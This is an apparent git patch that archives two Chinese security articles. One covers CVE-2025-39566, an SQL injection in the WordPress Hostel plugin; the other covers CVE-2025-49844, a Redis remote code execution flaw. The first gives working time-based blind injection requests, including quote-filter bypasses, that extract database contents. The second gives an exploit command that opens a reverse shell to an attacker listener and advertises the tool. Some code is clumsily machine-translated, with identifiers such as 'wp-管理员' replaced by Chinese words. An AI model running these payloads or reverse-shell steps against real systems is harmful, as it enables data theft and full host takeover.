From 50000e9973e6015fec85c1c141d6cef613a23960 Mon Sep 17 00:00:00 2001 From: test Date: Thu, 29 Jan 2026 08:40:08 +0000 Subject: [PATCH] =?UTF-8?q?Redis=20=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=EF=BC=88CVE-2025-49844?= =?UTF-8?q?=EF=BC=89=E3=80=81CVE-2025-39566=20sql=E6=B3=A8=E5=85=A5?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 4 +- doc/2026-01/CVE-2025-39566 sql注入漏洞.md | 993 ++++++++++++++++++ ...‹代码执行漏洞(CVE-2025-49844).md | 61 ++ 3 files changed, 1057 insertions(+), 1 deletion(-) create mode 100644 doc/2026-01/CVE-2025-39566 sql注入漏洞.md create mode 100644 doc/2026-01/Redis 远程代码执行漏洞(CVE-2025-49844).md diff --git a/data.json b/data.json index 481e87ac..18a4f511 100644 --- a/data.json +++ b/data.json @@ -17331,5 +17331,7 @@ "https://mp.weixin.qq.com/s/NeNJMvrTvgHMXEgw75hUZg": "年度报告 | 2025年漏洞态势全景复盘!", "https://mp.weixin.qq.com/s/GnNxQ29vqFVV43h0CTz5VQ": "网安靶场实战指南(第4期):OWASP Juice Shop入门——前后端分离架构下的漏洞挖掘", "https://mp.weixin.qq.com/s/mLIvzi12Xq7mosK-FJD8TQ": "国家漏洞库CNNVD:关于Microsoft Office安全漏洞的通报;韩国公共系统全面沦陷:模拟攻击揭示安全防护重大缺陷| 牛览", - "https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析" + "https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析", + "https://mp.weixin.qq.com/s/HQDSxpkZFgmPWlBLMxiEgw": "Redis 远程代码执行漏洞(CVE-2025-49844)", + "https://mp.weixin.qq.com/s/iRSKfbWctpUQYg2tmupopQ": "CVE-2025-39566 sql注入漏洞" } \ No newline at end of file diff --git a/doc/2026-01/CVE-2025-39566 sql注入漏洞.md b/doc/2026-01/CVE-2025-39566 sql注入漏洞.md new file mode 100644 index 00000000..dda3f7a6 --- /dev/null +++ b/doc/2026-01/CVE-2025-39566 sql注入漏洞.md @@ -0,0 +1,993 @@ +# CVE-2025-39566 sql注入漏洞 +原创 匆匆过客 + 匆匆过客 天启攻防实验室 2026-01-29 07:04 + +  + + + +Hostel + 插件在  +1.1.5.7 + 版本之前存在一个漏洞。由于输入未得到妥善清理,这可能允许攻击者直接与数据库交互,包括但不限于数据窃取。 + +· + +CVE 编号 +:  +CVE-2025-39566 + +· + +产品 +:  +WordPress Hostel 插件 + +· + +漏洞类型 +: SQL注入 + +· + +受影响版本 +: <= 1.1.5.6 + +· + +CVSS 严重性等级 +: 7.6 (高危) + +· + +所需权限 +: 管理员 +## 环境要求 + +· + +本地 WordPress 与调试环境 +:  +本地 WordPress 与调试 +。 + +· + +Hostel 插件 +: v1.1.5.6 (存在漏洞) 和 v1.1.5.7 (已修复) + +· + +差异对比工具 +:  +meld + 或任何能够比较两个版本差异的工具 +## 分析 + +根本原因在于应用程序将来自  +GET + 请求的数据直接注入到 SQL 查询中,同时验证/白名单机制不足。 +### 补丁差异对比 + +使用任何差异对比工具来比较存在漏洞的版本和已修复的版本。               + +在文件  +controllers/bookings.php + 中存在明显差异。 + +存在漏洞的版本 +: + +if +( +! +empty +( +$_GET +[ +'ob' +])) { +            +            +            +            +            + +     +$orderby + += + +"ORDER BY " +. +sanitize_text_field( +$_GET +[ +'ob' +])  +. + +' ' + +. + +$dir +; + +} + +已修复的版本 +: + +if +( +! +empty +( +$_GET +[ +'ob' +])) { + +     +$ob + += + sanitize_text_field( +$_GET +[ +'ob' +]) +; + +     +if +( +! +in_array +( +$ob, [ +'tB.id',  +'tB.contact_name',  +'tB.contact_email',  +'tB.from_date',  +'tB.amount_paid',  +'tB.status' +])) { + +         +$ob + += + +'tB.id' +; + +     +} + +     +$orderby + += + +"ORDER BY  +$ob + +$dir +" +; + +} + +👉 补丁使用了一个 +白名单 +来限制哪些列可用于排序;如果提供的值无效,则回退到  +'tB.id' +。 + +分析 +: 漏洞之所以出现,是因为  +ob + 参数在  +sanitize_text_field() + 之后被直接传递到  +ORDER BY + 子句中。该函数仅对 HTML 上下文中的文本进行转义/清理,并未针对 SQL 上下文中的 SQL注入 进行验证或过滤。 +### 工作原理 + +要进行注入,我们需要识别此处使用的完整查询: + +$bookings + += + +$wpdb +->get_results( +"SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room FROM " +. +WPHOSTEL_BOOKINGS +. +" tB JOIN " +. +WPHOSTEL_ROOMS +. +" tR ON tR.id = tB.room_id WHERE is_static=0  +$where_sql + +$orderby + +$limit_sql +" +) +; + +该查询位于  +switch + 结构的  +default + 分支中。 + +所有这些逻辑都属于  +WPHostelBookings + 类的静态  +manage() + 方法。 + +类 WPHostelBookings { + +     +static + 函数 manage() { + +         +global + +$wpdb +; + +         +$_booking + += + +new + WPHostelBooking() +; + +         +switch +( +@ +$_GET +[ +'do' +]) { + +             +case + +'add' +: + +// add handle + +             +break +; + +             +case + +'edit' +: + +// edit handle + +             +break +; + +             +// view/print booking details. Will allow also to confirm/cancel + +             +case + +'view' +: + +// view handle +            +            +            + +             +break +; +            +            +            + +             +// list bookings + +             +default +: + +             +// another logic + +             +if +( +! +empty +( +$_GET +[ +'ob' +])) { +            +            +            +            +            + +                 +$orderby + += + +"ORDER BY " +. +sanitize_text_field( +$_GET +[ +'ob' +])  +. + +' ' + +. + +$dir +; + +             +} + +             +$bookings + += + +$wpdb +->get_results( +"SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room  + +             +FROM " +. +WPHOSTEL_BOOKINGS +. +" tB JOIN " +. +WPHOSTEL_ROOMS +. +" tR ON tR.id = tB.room_id + +             +WHERE is_static=0  +$where_sql + +$orderby + +$limit_sql +" +) +; + +             +// another logic + +             +break +; + +         +} + +     +} + +} + +在 WordPress 中,插件通过 +插件 API (钩子系统) + 与核心通信。因此,要找到  +manage() + 被调用的位置,我们可以在插件文件夹中搜索字符串  +"manage" +。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCVwr1flzcEughQPl8Uzh7O36maBQVzIdNvke4eK1n65ooQXY8073GkQ/640?wx_fmt=png "") + +在文件  +models/hostel.php + 中,我们有: + +class + WPHostel { + +     +// another logic + +     +static + 函数 menu() { + +         +// we use 'hostelpro_manage' for consistency with the pro version + +         +$wphostel_caps + += + current_user_can( +'manage_options' +)  +? + +'manage_options' + +: + +'hostelpro_manage' +; +      + +         +add_menu_page( +__ +( +'Hostel',  +'wphostel' +),  +__ +( +'Hostel',  +'wphostel' +),  +$wphostel_caps,  +"wphostel_options",  + +             +数组( +__CLASS__,  +"options" +)) +; + +         +add_submenu_page( +'wphostel_options',  +__ +( +'Settings',  +'wphostel' +),  +__ +( +'Settings',  +'wphostel' +),  +$wphostel_caps,  +"wphostel_options",  + +             +数组( +__CLASS__,  +"options" +)) +; + +         +add_submenu_page( +'wphostel_options',  +__ +( +"Manage Rooms",  +'wphostel' +),  +__ +( +"Manage Rooms",  +'wphostel' +),  +$wphostel_caps,  +'wphostel_rooms', 数组( +'WPHostelRooms',  +"manage" +)) +; + +         +add_submenu_page( +'wphostel_options',  +__ +( +"Manage Bookings",  +'wphostel' +),  +__ +( +"Manage Bookings",  +'wphostel' +),  +$wphostel_caps,  +'wphostel_bookings', 数组( +'WPHostelBookings',  +"manage" +)) +; + + +         +add_submenu_page( +'wphostel_options',  +__ +( +"Unavailable Dates",  +'wphostel' +),  +__ +( +"Unavailable Dates",  +'wphostel' +),  +$wphostel_caps,  +'wphostel_unavailable', 数组( +'WPHostelBookings',  +"unavailable" +)) +; + + +         +add_submenu_page( +'wphostel_options',  +__ +( +"Email Log",  +'wphostel' +),  +__ +( +"Email Log",  +'wphostel' +),  +$wphostel_caps,  +'wphostel_emaillog', 数组( +'WPHostelHelp',  +"email_log" +)) +; + +         +add_submenu_page( +'wphostel_options',  +__ +( +"Help",  +'wphostel' +),  +__ +( +"Help",  +'wphostel' +),  +$wphostel_caps,  +'wphostel_help', 数组( +'WPHostelHelp',  +"index" +)) +; +      + +     +} + +     +// another logic + +} + +这里: + +· + +add_menu_page() + 在管理员仪表板中创建 +主菜单 +。 + +· + +add_submenu_page() + 在该菜单下添加 +子菜单 +项。 + +· + +$回调函数 + 参数是用户点击菜单/子菜单时调用的 +回调函数 +。 + +示例: + +// add_menu_page($page_title, $menu_title, $capability, $menu_slug, $回调函数 = '', $icon_url = '', $position = null); + +add_menu_page( +__ +( +'Hostel',  +'wphostel' +),  +__ +( +'Hostel',  +'wphostel' +),  +$wphostel_caps,  +"wphostel_options",  + +     +数组( +__CLASS__,  +"options" +)) +; + +// add_submenu_page($parent_slug, $page_title, $menu_title, $capability, $menu_slug, $回调函数 = ''); + +add_submenu_page( +'wphostel_options',  +__ +( +"Manage Bookings",  +'wphostel' +),  +__ +( +"Manage Bookings",  +'wphostel' +),  +$wphostel_caps,  +'wphostel_bookings', 数组( +'WPHostelBookings',  +"manage" +)) +; + +// 数组('WPHostelBookings', "manage")); => WPHostelBookings::manage() + +所有这些菜单/子菜单项都在  +WPHostel + 类的静态  +menu() + 方法中注册。要定位  +menu() + 的调用位置,请在插件目录中搜索  +menu + 钩子。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCl6pFE88RpFoIuic5ea9EnYth2kZghuPic8RwyE6FD4uWXZgh6ichEqE8Q/640?wx_fmt=png "") + +在插件根文件  +hostel.php + 中,我们有: + +add_action( +'admin_menu', 数组( +"WPHostel",  +"menu" +)) +; + +// => 回调函数: WPHostel::menu() + +· + +add_action() + 是 WordPress 插件 API,用于将 +回调函数 +附加到 +动作钩子 +。 + +· + +这里的钩子名称是  +admin_menu +,意味着  +WPHostel::menu() + 将在 WordPress 构建管理员仪表板菜单的生命周期中被调用。 + +管理员界面中的菜单 + +{{< figure src="menu_ui.png" caption="菜单界面" >}} + +调试 + +· + +有问题的功能位于 +预订管理器 +中,因此在管理员界面中导航到  +Manage Bookings + 子菜单。 + +· + +在默认分支之前有一个注释  +// list bookings + —— 表明此代码处理 +列出和排序预订 +。 + +· + +打开你的调试器: + +o + +点击 使用调试器运行。 + +o + +在包含漏洞代码的  +switch + 分支以及分配漏洞值的具体行设置 +断点 +。 + +· + +当你点击预订表中的列标题时,观察: + +o + +调试器步入  +switch +。 + +o + +使用 +单步跳过 +到达  +default + 分支。 + +o + +继续 +单步跳过 +并检查  +Variables > Locals + 中的变量。这些变量组合起来形成下面的 SQL 查询。 + +组合变量后,完整的查询如下所示: + +SELECT + SQL_CALC_FOUND_ROWS tB. +* +, tR.title  +as + room  + +FROM + wp_hostel_bookings tB  + +JOIN + wp_hostel_rooms tR  +ON + tR. +id + += + tB.room_id  + +WHERE + is_static += +0 + +AND + tB. +id + += + +.. +.  + +ORDER + +BY + tB.amount_paid  +ASC +| +DESC + + +LIMIT + +.. +. + +值得注意的是, +$orderby + 变量被赋值为: + +if +( +! +empty +( +$_GET +[ +'ob' +])) { +            +            +            +            +            + +     +$orderby + += + +"ORDER BY " +. +sanitize_text_field( +$_GET +[ +'ob' +])  +. + +' ' + +. + +$dir +; + +} + +⚠️ 此处的问题: + +· + +ORDER BY + 之后的部分使用了  +sanitize_text_field() +。 + +· + +该函数仅 +清理 HTML +,并未验证或过滤输入以确保其在  +SQL 上下文 +中的安全性。 + +· + +因此, +ob + 参数(由用户提供)可能被滥用以 +直接注入 SQL +。 +## 漏洞利用 +### 检测 SQL 注入 + +使用 BurpSuite 的请求 +: + +GET /wp-管理员/管理员.php?page=wphostel_bookings&type=upcoming&ob=tB.status,(SELECT+SLEEP(10))&dir=ASC HTTP/1.1 + +我们用逗号分隔  +ORDER BY + 子句,因为它接受 +多列 +值。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCxY1icfrpMXsjHw4DQicIPfboCQyujfRnBvajJUFz27Ee9sDlicVibLPINw/640?wx_fmt=png "") + +结果:响应时间延迟 → SQL注入 成功。 +### 从数据库转储数据 + +使用 ORD() 绕过  +' +: + +要转储数据库数据,我们需要提取字符,例如 +数据库名称 +的第一个字符。 + +由于  +sanitize_text_field() + 移除了单引号 ( +' +),我们不能使用依赖  +' + 的有效载荷。相反,使用  +ORD() + 来比较字符的 ASCII 码: + +GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(ORD(SUBSTRING(数据库(),1,1))=119,SLEEP(5),0))&dir=ASC HTTP/1.1 + +绕过成功 → 我们可以提取数据库名称。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCYm7uplArnlHicARw7usIcxicSeYL8xqU1jjaaJ6s30oH0cMapZ6Cnqag/640?wx_fmt=png "") + +使用十六进制编码绕过  +' + (替代方法) + +除了  +ORD() +,我们还可以使用 +十六进制编码 +来绕过: + +GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,SLEEP(5),0))&dir=ASC HTTP/1.1 + +绕过成功 → 数据库名称可以被提取。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCYm7uplArnlHicARw7usIcxicSeYL8xqU1jjaaJ6s30oH0cMapZ6Cnqag/640?wx_fmt=png "") +## 结论 + +WordPress  +Hostel + 插件( +1.1.5.7 + 之前的版本)中的漏洞  +CVE-2025-39566 + 源于将用户提供的输入直接插入 SQL 查询而缺乏足够的防护措施,导致了 SQL注入。 + +关键要点 +: + +· + +sanitize_text_field() + ≠ 针对  +SQL注入 + 的保护 + +· + +清楚地区分针对 HTML 上下文的输入清理和针对 SQL 上下文的验证/清理 +## 参考资料 + +SQL注入 备忘单 – PortSwigger + +WordPress Hostel 插件 <= 1.1.5.6 存在 SQL注入 漏洞 - patchstack + + +更多实战内容尽在星球: + +![](https://mmbiz.qpic.cn/mmbiz_jpg/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCzRVJdibQRW6gM79aefmic8bJZclC7DOC20FQHtC7vpr0r1BQqJ8xZV4Q/640?wx_fmt=jpeg&from=appmsg "") + + + diff --git a/doc/2026-01/Redis 远程代码执行漏洞(CVE-2025-49844).md b/doc/2026-01/Redis 远程代码执行漏洞(CVE-2025-49844).md new file mode 100644 index 00000000..825148a1 --- /dev/null +++ b/doc/2026-01/Redis 远程代码执行漏洞(CVE-2025-49844).md @@ -0,0 +1,61 @@ +# Redis 远程代码执行漏洞(CVE-2025-49844) +【白】 + 【白】 白安全组 2026-01-29 05:59 + +前言 + +此漏洞利用的是 Redis 源代码中一处已存在约 13 年的 “释放后使用”(Use-After-Free, + +UAF)内存损坏漏洞。经过身份验证的攻击者可发送特制的恶意 Lua 脚本(Redis 默认支持该功能), + +突破 Lua 沙箱限制,在 Redis 主机上执行任意原生代码。这将使攻击者获得主机系统的完全控制权, + +进而窃取、删除或加密敏感数据,劫持资源,并在云环境中横向移动。 + +正文 + +1、首先我们需要在监听机器上开启nc准备反弹 + +安装 uv +``` +tar xf uv-x86_64-unknown-linux-gnu.tar.gz --strip-components=1 -C /usr/bin/ +``` + +解压测试工具 +``` +unzip cve-2025-49844-main.zip +``` +``` +cd cve-2025-49844-main +``` + +安装配置依赖包: +``` +uv run --index-url https://pypi.tuna.tsinghua.edu.cn/simple +``` + +漏洞利用 +``` +uv run cve-2025-49844 rshell -H 192.168.1.53 -P 6379 -l 192.168.1.53 -p 4444 +``` +``` +-H 目标 redis 服务器的 ip +-P redis 目标端口 +-l nc监听ip +-p 监听端口 +-Password redis 连接密码默认没有 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/1AUjJ6HpTUbMicdThXu26F66sIVgZHrKN2iaXll5kWUckLFXT5uAe9UwuGy7RekIeG3uxMhiauV3TXBBYBp6yoV8w/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/1AUjJ6HpTUbMicdThXu26F66sIVgZHrKN84WQBiaoVicKBNcb3l4WosPTPd6r4v1vt6VU91GZI1BdmbxyMFdb0Lfw/640?wx_fmt=png&from=appmsg "") + +工具包关注公众号发送 +``` +redis-rce +``` + +获取 + + +